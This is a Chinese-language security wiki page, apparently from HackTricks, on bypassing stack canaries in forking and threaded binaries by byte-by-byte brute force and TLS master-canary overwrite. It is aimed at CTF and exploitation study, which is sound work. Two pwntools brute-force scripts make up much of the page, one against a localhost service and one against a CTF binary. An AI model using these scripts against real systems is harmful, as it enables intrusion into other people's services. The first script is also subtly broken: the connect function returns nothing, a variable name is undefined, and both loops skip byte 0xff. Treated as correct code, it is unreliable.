120 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# BF Forked & Threaded Stack Canaries
{{#include ../../../banners/hacktricks-training.md}}
**如果你面临一个受到 canary 和 PIE位置无关可执行文件保护的二进制文件你可能需要找到一种方法来绕过它们。**
![](<../../../images/image (865).png>)
> [!TIP]
> 请注意,**`checksec`** 可能无法发现一个二进制文件受到 canary 保护,如果它是静态编译的,并且无法识别该函数。\
> 然而,如果你发现一个值在函数调用开始时被保存到栈中,并且在退出之前检查这个值,你可以手动注意到这一点。
## Brute force Canary
绕过简单 canary 的最佳方法是,如果二进制文件是一个**每次你与之建立新连接时都会分叉子进程的程序**(网络服务),因为每次你连接到它时**将使用相同的 canary**。
因此,绕过 canary 的最佳方法就是**逐字符暴力破解**,你可以通过检查程序是否崩溃或继续其正常流程来判断猜测的 canary 字节是否正确。在这个例子中,函数**暴力破解一个 8 字节的 canaryx64**,并通过**检查**服务器是否发送了**响应**来区分正确猜测的字节和错误的字节(在**其他情况下**,另一种方法可以使用**try/except**
### Example 1
这个例子是为 64 位实现的,但可以很容易地为 32 位实现。
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### 示例 2
这是为 32 位实现的,但可以很容易地更改为 64 位。\
还要注意,对于这个示例,**程序首先期望一个字节来指示输入的大小**和有效负载。
```python
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## 线程
同一进程的线程将**共享相同的 canary token**,因此如果二进制文件在每次攻击发生时生成一个新线程,将有可能**暴力破解**一个 canary。
此外,在受 canary 保护的**线程函数**中发生的缓冲区**溢出**可能被用来**修改存储在 TLS 中的主 canary**。这是因为,可能通过线程的**栈**中的**bof**到达存储 TLS因此也包括 canary的内存位置。\
因此,缓解措施是无效的,因为检查使用的是两个相同的 canary尽管被修改过。\
此攻击在以下写作中进行了描述:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常**TLS**是通过**`mmap`**存储的,当创建**线程**的**栈**时,它也是通过 `mmap` 生成的,这可能允许如前述写作中所示的溢出。
## 其他示例与参考
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 位,无 PIEnxBF canary在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
{{#include ../../../banners/hacktricks-training.md}}